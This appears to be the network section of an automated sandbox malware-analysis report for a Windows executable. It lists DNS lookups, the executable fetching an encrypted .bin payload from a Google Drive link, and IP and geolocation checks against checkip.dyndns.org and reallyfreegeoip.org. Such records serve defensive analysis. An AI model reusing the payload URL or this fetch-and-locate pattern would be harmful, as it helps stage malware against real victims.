Mar 7, 2025 21:24:48.836549044 CET	1.1.1.1	192.168.2.6	0xfc6b	No error (0)	drive.usercontent.google.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:54.849776983 CET	1.1.1.1	192.168.2.6	0x64e1	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 7, 2025 21:24:54.849776983 CET	1.1.1.1	192.168.2.6	0x64e1	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:54.849776983 CET	1.1.1.1	192.168.2.6	0x64e1	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:54.849776983 CET	1.1.1.1	192.168.2.6	0x64e1	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:54.849776983 CET	1.1.1.1	192.168.2.6	0x64e1	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:54.849776983 CET	1.1.1.1	192.168.2.6	0x64e1	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:24:56.738864899 CET	1.1.1.1	192.168.2.6	0x34ad	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49694	193.122.6.168	80	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 21:24:54.864650965 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 7, 2025 21:24:55.571259022 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:24:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 7, 2025 21:24:55.896656036 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 21:24:56.085607052 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:24:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 7, 2025 21:24:59.287189960 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 21:24:59.476700068 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:24:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49697	193.122.6.168	80	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 21:25:01.972034931 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 7, 2025 21:25:05.830410957 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:25:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49699	193.122.6.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 21:25:09.844084978 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49692	142.250.185.142	443	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:24:48 UTC	216	OUT	GET /uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-03-07 20:24:48 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 07 Mar 2025 20:24:48 GMT Location: https://drive.usercontent.google.com/download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-UfRlIGoo8h5HX_rPR9PTDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49693	216.58.206.33	443	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:24:50 UTC	258	OUT	GET /download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-03-07 20:24:53 UTC	5030	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AKDAyItJDGvxsN2LECdAA_LCXHeBQxT2JCgY7nm6nxRpqrZw1xTmH6XO9DYhmNwHcP8Bd5VLIUJI3B8 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="OpuEjMkQLNDVmekxBKkW171.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 278080 Last-Modified: Mon, 17 Feb 2025 11:43:46 GMT Date: Fri, 07 Mar 2025 20:24:53 GMT Expires: Fri, 07 Mar 2025 20:24:53 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=3nXaWQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-07 20:24:53 UTC	5030	IN	Data Raw: 04 30 2c 18 9b 07 56 d6 65 34 24 5e 2f 65 b7 fd ea e5 e4 8f 0b 20 ce e2 7f ab 08 59 b8 6d 43 c8 fc 99 20 34 52 99 12 26 d9 17 e4 6a e5 3e ca 18 06 32 d8 5c 26 26 ee 9d 19 ca 76 7a 8b 85 c6 89 b8 e3 f2 c6 89 f0 29 ef b7 20 e1 6d 97 02 df f0 29 9f c3 3e ec 45 13 29 f8 8b e2 b1 0c 3f 89 d7 db 1a 0c 0a 2c 90 5a 9f 02 49 4c 3b 68 ea ca 22 20 4f 95 ea a0 b2 af 32 8b 93 3d 39 07 db 5b 82 9c 75 7f 5a 21 b5 ee fd 26 4b 02 53 21 7c 7e 03 42 96 c6 73 34 1b 1e b5 e4 8c 24 72 a3 ff 03 91 4c 2f 8a 89 23 05 c6 4a 0a eb b2 a3 49 d2 48 c4 92 02 ec de 1e 92 47 5f 4a e5 87 2c 13 ea 1b c6 f3 a4 7d 41 fb 58 08 1d 3c 1f b6 3c 43 e0 39 c4 78 00 74 41 69 8f d1 d2 1e 39 72 81 f4 c5 59 31 0c 15 95 b3 47 3a e9 1f c9 e9 bc 03 c3 ec 91 2e ee 08 66 24 32 91 47 98 43 8d 08 49 31 a2 62 Data Ascii: 0,Ve4$^/e YmC 4R&j>2\&&vz) m)>E)?,ZIL;h" O2=9[uZ!&KS!\|~Bs4$rL/#JIHG_J,}AX<<C9xtAi9rY1G:.f$2GCI1b
2025-03-07 20:24:53 UTC	4634	IN	Data Raw: b7 70 11 cc 8d 4a 1b bf 1d 6a a7 26 b4 a3 aa 57 e0 00 2b 9d 44 ec a6 39 02 18 a8 42 54 ed d3 0a 33 16 f5 12 9b 81 0a 9e ca 2e 51 99 21 b3 af af 69 08 df 71 79 b5 5f 88 42 94 83 48 c0 ba a4 4e 43 a7 cd 4e 20 3e 17 75 10 c6 21 51 da 4c 2a a6 b3 ff a3 f0 db 02 e4 99 8d c1 4d 87 b1 1d 95 a1 7d 2d 66 85 bf 5b ca cf d6 c6 17 f7 ac e4 a1 8f a7 bb f0 5f 68 d6 79 12 24 cb ff 89 e9 ac 4b 31 cf 6d 0f 51 c6 d6 76 c0 2c 78 a8 6b 15 2a 33 2f d7 62 69 8c fb 9e 0a 48 ad 22 cd b4 0c f2 9d 08 16 ae da 41 21 7f b7 92 ef 1a a1 89 4b c6 36 04 08 8e 64 d7 31 9f 03 06 21 5f 1a da 8e 64 c6 68 77 03 2f e5 7c 4b b5 eb 25 71 a7 35 9d 03 74 cd fe 77 32 29 eb db 15 5c 63 e8 3f 83 c9 bf fc 74 86 88 d3 0a 46 c2 03 54 de 81 b2 44 8d e0 a0 62 49 41 35 78 8a b3 81 91 04 c4 a7 a1 ac 4a 45 Data Ascii: pJj&W+D9BT3.Q!iqy_BHNCN >u!QLM}-f[_hy$K1mQv,xk3/biH"A!K6d1!_dhw/\|K%q5tw2)\c?tFTDbIA5xJE
2025-03-07 20:24:53 UTC	1326	IN	Data Raw: 77 eb 42 e0 f3 c4 8d aa e4 03 9f 96 f5 9c b6 4c 89 be 9f 7f ae c0 fd cd 17 e0 c0 0d 9c 07 ff d1 14 84 7a 5b c3 21 86 c7 85 94 84 75 df 46 6a ad 79 cc 31 bd c9 bb 72 fd e1 33 c2 2c 7a d9 bb 96 17 37 f3 f8 f3 f2 02 08 27 67 2d a9 b5 24 7a b6 c5 11 32 94 d3 c0 c6 cf 94 31 ed c3 57 4d 80 fa 61 00 4b b9 c6 e8 bb 13 b3 50 26 ad d3 b9 1e 6f 2d 59 55 72 b3 f6 77 0b 58 9a c8 76 9e e8 18 41 2d c6 25 05 e8 7a 7a 35 08 f8 dc 81 fc 3e 9d 83 2c d8 ad 94 32 4f 90 59 9b 6b eb 63 c9 2a 23 1f d5 f4 8e ea b4 56 5e 4d f4 76 86 0d 10 32 01 a3 73 35 8f 12 ce 7f a8 37 6f 93 ce a6 bb 09 4f 72 69 69 2d 92 1a 84 0c 43 0a c0 53 08 27 26 69 18 bb 7f 06 f6 32 b9 ef 39 bf 80 de af 84 3f 5f 5f 15 f2 f5 c0 da 3a e8 42 3f bd 2b 5f e7 81 17 09 87 9f e0 57 ab 8d 9b b0 bf 34 fd 28 4d dc 38 Data Ascii: wBLz[!uFjy1r3,z7'g-$z21WMaKP&o-YUrwXvA-%zz5>,2OYkc*#V^Mv2s57oOrii-CS'&i29?__:B?+_W4(M8
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: 48 31 0c a4 93 d1 49 5a 38 55 b8 8d 2f 68 fd b4 18 bc 76 b6 d8 fd 8e c8 98 e2 f5 6f aa 2e 9b b0 7c 46 1c 33 41 6f a5 46 48 8e cd d4 eb e0 2f 5d d9 a6 4f d6 fd 40 59 58 1d a2 e8 f6 51 67 70 40 a0 7d 8a 24 a6 3b cf c6 a3 95 99 8c 08 30 32 53 67 38 16 7d 1b bf 54 03 f8 69 10 9a 5e 75 42 cc e9 43 45 77 3c 5a 5e f3 c4 a2 82 f8 59 9f 9c ec 9e 3b 25 eb be 9e 50 66 b2 c6 c2 17 90 1c 1c 8b 2f 4d a3 81 8c d8 0e cd 7b 50 c8 85 ee 30 ae c7 2b 72 bc 59 f1 5d 98 d3 c9 23 a8 e1 43 6a 14 ec e6 91 96 16 16 47 af d4 8f 85 77 85 32 98 a9 74 24 7a b6 08 68 2a e6 8c c2 ce b6 b8 7d 9e d2 af 4d 80 f4 c3 25 59 a4 7e e7 bb 69 02 71 2c d7 f0 af 17 e5 e6 13 17 00 34 f3 77 6a fe dd 13 76 9e e8 77 c3 23 c6 3e 12 e5 69 e6 70 67 f9 dd a4 e0 4c a0 4f 3f 8d 27 85 25 67 2c 4a 9e 61 61 24 Data Ascii: H1IZ8U/hvo.\|F3AoFH/]O@YXQgp@}$;02Sg8}Ti^uBCEw<Z^Y;%Pf/M{P0+rY]#CjGw2t$zh*}M%Y~iq,4wjvw#>ipgLO?'%g,Jaa$
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: cf 7e 5d 4b 8a 35 83 1f 64 97 70 86 88 d2 3e 46 bc 33 54 87 85 cb b5 8f ee d0 74 61 c2 37 78 cf a5 52 ec 17 cf b6 a4 95 0d 46 82 af a9 70 71 5c 0c 7c 06 b0 b9 31 d7 79 5f 90 e8 0a 7e 85 33 7b 7e 06 14 f7 f9 a0 6f 9e 9c c5 cd 8f 32 9a 6a 6e 46 66 fe a0 76 8d fa 48 9f c1 19 0b fa 5d 36 b5 9b 3f 74 d1 58 9f 58 17 0a c0 90 57 15 fd 43 be 7f 2f 80 a6 4b bb ab 3e 85 9d d4 69 6b 32 59 1f e2 c3 7d 6b 9d 17 12 fe 74 8c c5 4f 61 6b ac ff 31 8c 64 e1 5d fd d6 d3 af 1c cc 59 95 34 da 99 49 58 86 be ee f8 9d ab b8 fa 17 90 66 8a ae 35 3b 3a 04 8e a8 dc f3 24 d3 c8 8f 8b ee 50 c6 32 52 d3 52 c8 93 9c a0 24 0b f2 eb 50 67 18 67 c8 40 96 17 39 40 da 80 53 85 07 2d 17 f1 bd c2 24 7e cf 63 4d 32 9e ca c5 b0 f7 1a 58 83 de 02 4f 80 80 77 28 c0 d6 07 e2 ad e7 a1 47 3e b8 d3 Data Ascii: ~]K5dp>F3Tta7xRFpq\\|1y_~3{~o2jnFfvH]6?tXXWC/K>ik2Y}ktOak1d]Y4IXf5;:$P2RR$Pgg@9@S-$~cM2XOw(G>
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: c8 d9 31 14 a0 8c b0 e9 38 03 f3 e2 3a d0 27 6b 02 85 01 40 6e 8d 8a 48 cf 51 47 6c 2e ef a2 87 95 04 2c 53 57 1d 1b 09 7e 19 88 70 19 03 c4 be 7a 5d 69 e8 1f 83 14 a9 d6 74 87 88 d3 3e cf 5c 01 58 0d 81 b9 20 9e de a4 62 15 41 37 78 da b3 ac fc 04 d7 2a e0 ac 4a 46 a7 b9 db 6d 9a 5a 41 de 23 a1 e2 e4 d7 79 5f 1a a9 12 0c da 3c 08 cc a4 31 e4 94 9e 7e 98 e6 5d e8 95 44 90 a6 6e 36 ce b4 7f 08 91 f0 48 8a a8 98 ce fa 57 9e ee ba 4d 41 c1 37 29 fa 3f 77 c0 81 5b 6c 52 e4 be 0f 0d 31 c9 17 b1 d9 a9 99 95 ae 6a 30 34 73 0e bd 0d 7d bd 90 17 03 d8 6f 01 95 4f 1f 76 89 e9 47 2c 99 e1 2d 55 81 9e 86 aa bc 4f b7 15 ff 81 31 1b 77 bd 94 5c 81 06 c1 c2 17 ee 51 28 8b 2b 3b 44 16 8e a8 68 f3 d0 d3 c8 8f f2 d8 51 cd 3f 6b 89 78 c8 93 8c 03 9f 0b f2 e0 6b 4d 09 61 ad Data Ascii: 18:'k@nHQGl.,SW~pz]it>\X bA7x*JFmZA#y_<1~]Dn6HWMA7)?w[lR1j04s}oOvG,-UO1w\Q(+;DhQ?kxkMa
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: 0e 86 e3 82 9a ec a6 49 20 c2 36 0f 51 c8 b7 6f c0 2a 0a d1 2d 96 2a 39 25 1f 92 68 8e e8 a3 17 60 7d 4d cc b4 1a d0 e5 d4 07 a0 b5 0e 21 73 bd 9f 19 6d a1 98 44 ea 2f 01 25 35 65 d7 3b 86 15 a8 ce 40 1a bb f4 65 ce 79 77 1e 19 f4 7c 31 a4 21 04 8c d7 35 97 1a 69 61 bb 66 35 75 c4 8a 7a 5d 69 fb 2d 92 0d cb b2 73 86 f8 bd e8 46 c2 0b 54 af db b9 20 87 ff b7 0d 15 41 37 72 d6 aa bd f5 76 5f b6 a1 dc 25 90 82 af a3 64 9e 42 20 65 88 df a0 3d 0f 79 55 b2 8c 1b 66 e0 ea 08 bc 0c 07 e7 fb bc 6f 81 f4 ee d4 01 5f 86 f7 6e 46 66 91 75 6c e2 5c 48 8e cd 76 df e2 32 e6 cb a6 35 67 ce 26 42 37 6c 00 c0 8b 42 7d 6b 49 cd a4 07 36 ac 58 ad c8 bf fa e0 a4 41 3a 21 44 04 91 6b d0 6b 97 1d 03 e9 75 6e 28 4f 61 60 89 f8 58 2c ac e1 2d 55 f3 c4 bf 69 cc 59 9f 96 ff 97 13 Data Ascii: I 6Qo-9%h`}M!smD/%5e;@eyw\|1!5iaf5uz]i-sFT A7rv_%dB e=yUfo_nFful\Hv25g&B7lB}kI6XA:!Dkkun(Oa`X,-UiY
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: 17 d9 30 f4 96 4c 2a ad ae 81 b3 f0 a1 15 6e 9d e2 a9 4c a2 ad 64 be c8 7d 29 44 ee d5 5b cc aa 61 c6 64 96 de 4b bd 9c d3 93 ba 5b 60 cb 74 35 24 cb f1 b2 a6 ac 5a 3e c2 1f 0f 51 c8 ed 3a d1 2a 70 65 11 01 3e 11 93 09 6c 63 e9 79 b2 02 58 a0 4d cb c6 5b e8 9d a4 68 17 b5 2e 2b 7f ba e1 73 14 a1 9c 30 a9 3e 15 09 92 db d7 31 9f 6c 65 ff 51 10 cb a2 12 ce 79 79 71 a3 a4 7c 41 b4 12 3a 2b fe 23 9d 79 dc 36 e5 5f 83 05 ec d6 d8 78 7b 9a 60 8c 15 c9 74 51 9f f6 ea 3e 46 c6 a3 71 9d f3 88 23 8d 9e 02 47 52 3f 17 78 c5 b7 0e c8 18 b8 92 b7 ac 3a e5 aa d8 a9 64 85 35 6d 7c 06 bc c6 55 df f7 3c d2 e3 ca 7e 8f 39 08 bc 01 7b 3c ea a6 74 95 eb f7 db 87 b8 80 c6 30 46 6c 9b 64 7f e2 5c 48 8e cd 76 10 f6 5d 35 e7 a1 36 1b d4 37 59 52 17 dc 1e 92 74 4f 4e 53 be 05 14 Data Ascii: 0LnLd})D[adK[`t5$Z>Q:pe>lcyXM[h.+s0>1leQyyq\|A:+#y6_x{`tQ>Fq#GR?x:d5m\|U<~9{<t0Fld\Hv]567YRtONS
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: 30 c1 42 54 e7 95 16 be 56 ee 22 99 a4 ad ec 5e 25 42 e9 09 e0 af af 47 cf fa 66 0d fb 58 a0 1c 36 a6 5a b1 0c e9 4e 33 85 e3 28 20 38 bf 50 0e a7 77 dc bb 48 88 82 c6 ea a6 e2 d1 72 41 bb f9 b2 c0 c6 bb 1a fb ed 6b 5f eb fa d5 2b 68 e0 cd ee d2 9c ac ee 09 b9 bb c9 12 4d 60 b1 a8 5b 3d e3 43 9a ec a6 f8 11 a6 72 6e 43 cc b5 d2 f9 5d 7a c7 0f b7 02 4e 2f 09 66 7a 82 8f 9f 15 59 db 33 d3 b4 0c fc b5 9d 07 aa bf 5c 94 6d bd ef 19 57 a1 98 48 fb 21 04 18 c9 20 d7 31 93 03 07 8a 50 1a cb af 60 fa 79 73 66 3d c5 7c 69 d7 37 2c 53 09 35 9d 09 7e 13 8c 43 35 05 e8 ae ef 5f 63 98 23 ab 96 b9 d6 7e 90 76 d3 2d 67 d3 20 6d 49 81 b9 20 a5 b4 a0 62 43 5c ba 39 c5 b3 ad c8 12 b8 8e b7 ac 3a e5 a7 b8 81 d2 8f 5a 3b de 23 ae b8 07 d8 79 25 1a a9 13 00 b7 33 08 b8 a4 31 Data Ascii: 0BTV"^%BGfX6ZN3( 8PwHrAk_+hM`[=CrnC]zN/fzY3\mWH! 1P`ysf=\|i7,S5~C5_c#~v-g mI bC\9:Z;#y%31
2025-03-07 20:24:53 UTC	1378	IN	Data Raw: 30 4d dc 35 91 8f f3 14 fe a9 d9 37 65 f5 9e c4 d8 79 83 cb 41 03 b7 70 19 bf ee 4a 1b b5 35 0e a7 26 be a3 d8 95 e0 00 f6 8f 48 fd 72 46 38 18 b8 46 27 2e 95 0a 39 78 2a 22 98 8b bb 8f c6 41 87 99 21 a8 d1 92 41 6d db 1e b5 be 58 aa 18 85 8f 30 44 c5 f8 3e 6b 1b a2 28 2a 4c 80 65 17 a9 19 87 bb 4c 20 c8 1b 98 a3 fa d1 13 ef ec cb bf 4d f7 93 ac fa c8 77 5f 0d f8 d5 2b e2 9e da c6 6e f3 64 e4 ab 96 a3 93 95 5b 60 c7 19 73 0c be f5 9a ea bf 54 25 b1 73 df 51 cc cf 63 de 3b 74 b4 d5 15 2a 33 3c 19 7d 65 f2 2c b2 02 53 ba 42 be 61 1a f8 ed aa 18 aa b5 2a 09 36 bd 9f 3b 66 a8 89 4e 9a 4d c7 0d e1 6f b8 e2 95 03 d0 ff 40 16 a4 5b 48 ce 73 62 7c 5c 0c 6a 41 c5 49 33 59 d7 31 b5 40 7e 13 f8 05 3c 14 ec ac 09 8f 63 e8 3f ec c6 b9 d6 7e 86 f6 ee 3e 46 c6 72 9d 87 Data Ascii: 0M57eyApJ5&HrF8F'.9x"A!AmX0D>k(LeL Mw_+nd[`sT%sQc;t3<}e,SBa6;fNMo@[Hsb\|\jAI3Y1@~<c?~>Fr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49695	104.21.48.1	443	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:24:58 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 20:24:59 UTC	870	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:24:58 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cf-Ray: 91ccd1c77ce78f0e-MIA Server: cloudflare Age: 134461 Cache-Control: max-age=31536000 Cf-Cache-Status: HIT Last-Modified: Thu, 06 Mar 2025 07:03:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwqa6OQ6XMvb7s74Ov%2FBffuoNDG%2FFyyWwM%2B2ju%2FBshYpWmDBbz3%2BBYvadqzkMA4503wahbZFWFe0s4NoqsCO%2FZ1RB4%2B0o9BrwiGZkyvDW%2FhjSP47mJ7lTePBR%2FNoCvASq%2BdjtA92"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28048&min_rtt=19961&rtt_var=16319&sent=7&recv=9&lost=0&retrans=1&sent_bytes=2858&recv_bytes=699&delivery_rate=95187&cwnd=246&unsent_bytes=0&cid=4a47b8858e81dfd7&ts=652&x=0"
